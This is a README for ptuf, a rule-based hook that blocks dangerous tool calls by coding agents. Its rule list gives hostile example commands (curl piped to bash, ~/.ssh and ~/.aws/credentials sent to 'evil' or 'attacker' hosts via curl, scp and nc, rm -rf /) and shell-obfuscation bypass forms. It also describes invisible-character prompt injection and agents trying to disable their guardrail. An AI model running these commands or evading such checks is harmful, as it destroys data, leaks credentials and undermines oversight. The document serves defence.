# ptuf
[](https://github.com/watany-dev/ptuf/actions/workflows/ci.yml)
[](https://crates.io/crates/ptuf)
[](https://github.com/watany-dev/ptuf/releases/latest)
[](LICENSE)
[日本語 README](README.ja.md)

`ptuf` is a deterministic guardrail for coding agents. It hooks into the
agent's `PreToolUse` event and blocks dangerous tool calls — destructive
`rm`, piping `curl` into a shell, leaking `~/.ssh` over the network — using
rules, not LLM heuristics.
Supported hosts: **Claude Code**, **Codex**, **GitHub Copilot**, **Kiro CLI**, **Cline**, **Cursor**, **Pi Coding Agent**, **OpenCode**.
## Why ptuf?
Most guardrails today are hand-rolled hook scripts that grep the command
for `rm -rf`. Those break the moment the agent writes `rm -rf "/"`,
`$(echo rm) -rf /`, or `bash -c 'rm -rf /'`. ptuf takes a different
approach:
| Deterministic (same input → same decision) | partly | no | yes | **yes** |
| Understands shell syntax (quotes, pipes, `bash -c`, var expansion) | no | n/a | n/a | **yes** |
| Bypass resistance covered by versioned tests + fuzzing | no | no | n/a | **yes** ([`tests/bypass/corpus.jsonl`](tests/bypass/corpus.jsonl)) |
| One policy across Claude Code / Codex / Copilot / Kiro / Cline / Cursor / Pi / OpenCode | rewrite per host | no | no | **yes** (`ptuf init`) |
| Agent cannot disable it mid-session | rarely | no | yes | **yes** (`core.self_protection.*`) |
| Audit trail of what was blocked and why | rarely | no | no | **yes** (JSONL) |
| Works offline, no extra runtime | depends | no | heavy setup | **yes** (single binary) |
A sandbox is complementary, not competing: it limits blast radius, while
ptuf stops and audits the dangerous call itself — run both if you can.
## What it stops
ptuf ships with built-in rules that block, ask, or audit before the agent
runs the call. A few examples of what fires by default:
- **`core.filesystem.destructive-rm`** — blocks `rm -rf` against system
roots and `$HOME`. Stops `rm -rf /`, `rm -rf ~`, `rm -rf /etc`.
- **`core.network.remote-script-pipe`** — blocks any fetcher piped into an
interpreter. Stops `curl https://example.com/install.sh | bash`.
- **`core.secrets.sensitive-path-to-network`** — blocks credentials reaching
the network in the same pipeline. Stops `tar czf - ~/.ssh | curl -T- evil`,
`scp ~/.ssh/id_rsa attacker:`, `cat ~/.aws/credentials | nc evil 443`.
- **`core.secrets.sensitive-read`** — blocks `Read`/`Edit`/`Write`/
`apply_patch` and path-bearing MCP calls against credential files
(`.env`, `~/.aws/credentials`, `id_rsa`, `*.pem`, `.npmrc`,
`.tfstate`) so they never enter the agent's transcript.
- **`core.secrets.sensitive-bash-read`** — asks before Bash readers
(`cat`, `head`, `source`, `awk`, `<` redirect, …) target a credentials
file, even without a network sink. Catches `cat .env`, `source .env`,
`read -r LINE < .env`. Suppressible per-project via `overrides.allow`.
- **`core.engine.dynamic-eval`** — asks before opaque interpreter calls
(`bash -c '…'`, `python -c '…'`, `node -e '…'`, `eval`) where other rules
cannot inspect what actually runs.
- **`core.injection.invisible-chars`** — asks before `Read`/`Edit`, a
path-bearing MCP call, or a Bash reader (`cat`, `head`, …) ingests a
file whose contents hide characters invisible to a human reviewer:
zero-width spaces, BiDi overrides and directional marks (Trojan
Source), Unicode Tag chars (ASCII smuggling), variation selectors
(data smuggling), C0/C1 controls. Catches indirect prompt injection
that looks harmless in review.
- **`core.project_hygiene.lock-mismatch-pnpm` / `lock-mismatch-uv`**
*(opt-in)* — blocks `npm install` when `pnpm-lock.yaml` is present (or
analogously for `uv`), preventing silent dependency drift.
- **`core.project_hygiene.protected-branch-destructive-git`** *(opt-in)*
— blocks `git reset --hard`, `git clean -fdx`, `git branch -D`, and
`git stash clear` when checked out on a protected branch (default:
`main`, `master`, `release/*`).
- **`core.workspace.outside-access`** *(opt-in)* — blocks `Read` /
`Write` / `Edit` / `apply_patch` / MCP `path` / Bash redirect targets
whose canonical path falls outside the project root plus
`additionalWorkspaces`. Symlinks and `..` are resolved before the
boundary check.
- **`core.self_protection.*`** — blocks the agent from editing ptuf's own
binary, config, plugins, hook script, or your `~/.claude/settings.json`
hook entry. The agent cannot turn ptuf off mid-session.
The full pack catalogue lives in
[`docs/design/policy-packs.md`](docs/design/policy-packs.md).
## Try it in 30 seconds
After installing, run the manual evaluator without wiring anything up:
```text
$ ptuf check --tool Bash 'rm -rf /'
Decision: deny
Rule: core.filesystem.destructive-rm
# stderr: Blocked by ptuf rule core.filesystem.destructive-rm. ...
# exit 2
$ ptuf check --tool Bash 'ls'
Decision: allow
# exit 0
```
## Install
Prebuilt binary, no Rust toolchain required. Pin `PTUF_VERSION` so
CI / Docker builds are reproducible.
```bash
# Linux / macOS
PTUF_VERSION=v0.4.1
curl -LsSf "https://github.com/watany-dev/ptuf/releases/download/$PTUF_VERSION/ptuf-installer.sh" | sh
```
```powershell
# Windows (PowerShell)
$env:PTUF_VERSION = "v0.4.1"
powershell -ExecutionPolicy Bypass -c "irm https://github.com/watany-dev/ptuf/releases/download/$env:PTUF_VERSION/ptuf-installer.ps1 | iex"
```
The installer drops `ptuf` into `$CARGO_HOME/bin` (default
`~/.cargo/bin`) — already on PATH if you use Rust, otherwise add that
directory to PATH.
For checksum + GitHub artifact attestation verification (recommended
for pinned deployments), see [`docs/install.md`](docs/install.md).
Rust users can alternatively run `cargo binstall ptuf` (prebuilt) or
`cargo install ptuf` (build from source, Rust 1.93+).
### npm (Node.js)
```bash
npm install -g @watany-dev/ptuf
```
The npm package uses platform-specific optional dependencies and does not
run install scripts. Use `npm update -g @watany-dev/ptuf` to update npm-managed
installs; `ptuf update` will detect them and refuse to overwrite the
package manager's copy.
### Homebrew (macOS / Linux)
```bash
brew install watany-dev/tap/ptuf
```
Tracks the latest tagged release. Use `brew upgrade ptuf` to update;
`ptuf update` does NOT detect Homebrew installs. For checksum +
attestation verification, use the Verified install path in
[`docs/install.md`](docs/install.md) instead.
### mise / aqua
```bash
# mise — pulls the matching archive from GitHub Releases via the ubi backend
mise use -g ubi:watany-dev/ptuf@latest
```
For aqua, add a `github_release` entry to your repo-local `aqua.yaml`
pointing at `watany-dev/ptuf` with asset
`ptuf-{{.OS}}-{{.Arch}}.tar.gz`. Both paths consume the existing
release archives — no extra packaging is required.
Once installed via `cargo install` or the prebuilt installer, `ptuf update`
upgrades the binary in place — it auto-detects which of those two paths
was used and shells out to the matching updater (no `--cargo` / `--prebuilt`
flag to remember). npm-managed installs are detected and refused with an
`npm update -g @watany-dev/ptuf` hint. Homebrew / mise / aqua installs are managed by
their own update commands.
Running in an ephemeral cloud agent (Claude Code on the web, Cursor cloud
agents, CI)? Bootstrap ptuf in the setup / SessionStart phase, not from
the agent loop — see
[Cloud / ephemeral agent environments](docs/install.md#cloud--ephemeral-agent-environments).
## Wire it into your agent
Pick your host and run a single command. Each installer is idempotent and
re-detects existing ptuf entries.
**Claude Code** — writes `~/.claude/settings.json`:
```bash
ptuf init claude-code
```
**Codex** — writes `<repo>/.codex/hooks.json` and `config.toml`:
```bash
ptuf init codex
```
**GitHub Copilot** — writes `<repo>/.github/hooks/ptuf.json`:
```bash
ptuf init copilot
```
**Kiro CLI** — patches every existing agent JSON under
`<repo>/.kiro/agents/*.json` and `$HOME/.kiro/agents/*.json` so the
PreToolUse hook fires for whichever agent the user actually selects:
```bash
ptuf init kiro # patch all agents in both scopes
ptuf init kiro --workspace-only # patch only <repo>/.kiro/agents/*.json
ptuf init kiro --global # patch only $HOME/.kiro/agents/*.json
ptuf init kiro --new-agent # legacy: create a single ptuf-guarded.json
```
If `chat.defaultAgent` in `settings/cli.json` points to an agent JSON
that does not exist in the same scope, init fails closed. `.md` agent
files are reported but never modified.
**Cline** — writes a `PreToolUse` file hook into
`<repo>/.clinerules/hooks/PreToolUse` (`PreToolUse.ps1` on Windows). With
no repo root it falls back to `~/Documents/Cline/Hooks/`:
```bash
ptuf init cline
```
**Cursor** — writes a `version: 1` `hooks.preToolUse` entry into
`<repo>/.cursor/hooks.json` (`--scope local`, default) or
`$HOME/.cursor/hooks.json` (`--scope global`):
```bash
ptuf init cursor # <repo>/.cursor/hooks.json
ptuf init cursor --scope global # $HOME/.cursor/hooks.json
ptuf init cursor --root <path> # start repo discovery from <path>
ptuf init cursor --hooks <path> # patch this exact hooks.json file
```
Cursor guards only **hook-driven agent tool execution** — the agent
loop's `beforeShellExecution`, `beforeReadFile`, `beforeMCPExecution`, and
`preToolUse` events. Tab completion, manual edits, and commands typed
directly into the terminal never reach a hook and are **out of scope**.
Unlike Codex / Copilot / Kiro / Cline, Cursor has its own `Ask` channel,
so an `ask` decision is preserved (`{"permission":"ask"}`, exit 0) and
never demoted to a hard deny:
| Allow / Monitor | `{"permission":"allow"}` | 0 |
| Ask | `{"permission":"ask",...}` | 0 |
| Deny | `{"permission":"deny",...}` | 2 |
| invalid payload | `{"permission":"deny",...}` | 2 |
**OpenCode** — writes a TypeScript plugin to
`$XDG_CONFIG_HOME/opencode/plugins/ptuf.ts` (default global) or
`<repo>/.opencode/plugins/ptuf.ts` (local). The plugin hooks
`tool.execute.before` and spawns `ptuf hook opencode` before every tool
call. ptuf Ask decisions are demoted to Deny because OpenCode cannot
reliably surface interactive confirmation from this hook.
Environment variable: `PTUF_OPENCODE_TIMEOUT_MS` (default 10000).
**Pi Coding Agent** — writes a TypeScript extension to
`$HOME/.pi/agent/extensions/ptuf.ts` (`--scope global`, default) or
`<repo>/.pi/extensions/ptuf.ts` (`--scope local`):
```bash
ptuf init pi # global extension (recommended)
ptuf init pi --scope local # repo-local extension
ptuf init pi --root <path> # start repo discovery from <path>
ptuf init pi --extension <path> # exact extension file path
```
The extension spawns `ptuf hook pi` on every `tool_call` event. Normalisation
happens in Rust; the extension is a thin bridge. `Ask` is preserved for
interactive Pi; non-interactive runs default to deny.
`ptuf init` with no agent auto-detects every reachable host under cwd /
`$HOME` and installs the `PreToolUse` hook into each. Pass `--dry-run`
to show the plan without writing, or `--no-verify` to skip the
post-install synthetic deny check. The full CLI surface, per-host hook
envelope details, and payload normalization rules live in
[`docs/agents.md`](docs/agents.md) and
[`docs/design/cli-and-hooks.md`](docs/design/cli-and-hooks.md).
## CLI
```text
ptuf hook <agent>
ptuf [--json] check --tool <name> <command>
ptuf [--json] plugin check <path>
ptuf [--json] init [<agent>] [--no-verify] [--dry-run]
[--scope <local|global>] [--root <PATH>] # cursor + pi
[--hooks <PATH>] # cursor only
[--extension <PATH>] # pi only
ptuf update [--check] [--version <TAG>] [--force]
ptuf --help
ptuf --version
```
`--json` is a global, top-level flag; it must appear *before* the
subcommand. `hook` does not accept `--json` because the hook protocol
output shape is fixed by the host. `init` runs the post-install verify
by default; pass `--no-verify` to skip, or `--dry-run` to plan only
(dry-run implicitly turns verify off because nothing is written).
For the Claude Code adapter a `hook_event_name` other than `preToolUse`
is rejected with `core.engine.invalid-payload`. The Cursor adapter
additionally accepts `beforeShellExecution`, `beforeReadFile`, and
`beforeMCPExecution`; any other event fails closed the same way.
## Customize
ptuf merges YAML config from `/etc/ptuf/policy.yaml`, `~/.config/ptuf/config.yaml`,
`<repo>/.ptuf.yaml`, and `<repo>/.ptuf.local.yaml` (later wins). A minimal
override:
```yaml
version: 1
mode: enforce
failClosed: true
rules:
core.git.reset-hard:
decision: ask
audit:
path: ~/.local/share/ptuf/audit.jsonl
includeDenied: true
```
Full schema (allowlists, plugin loading, audit redaction) lives in
[`docs/design/config-and-plugins.md`](docs/design/config-and-plugins.md).
Plugin authoring (`apiVersion: ptuf.dev/v1`, rule-local `tests:`,
`ptuf plugin check`) is in the same doc.
## Use as a Rust library
```rust
use ptuf::{Decision, HookInput, decide};
let input: HookInput = serde_json::from_str(payload)?;
match decide(&input) {
Decision::Allow => {}
Decision::Monitor { .. } => {}
Decision::Ask { reason, .. } => {}
Decision::Deny { reason, .. } => {}
}
```
`decide()` is lenient and falls back to an embedded engine if config or
plugins fail to load. For the same fail-closed contract as the CLI, use
`try_decide(&HookInput) -> Result<Decision, EngineError>`.
## Learn more
- Design overview and module map → [`docs/design/overview.md`](docs/design/overview.md)
- Contributing, local checks, release flow → [`CONTRIBUTING.md`](CONTRIBUTING.md)
- License — Apache-2.0, see [`LICENSE`](LICENSE)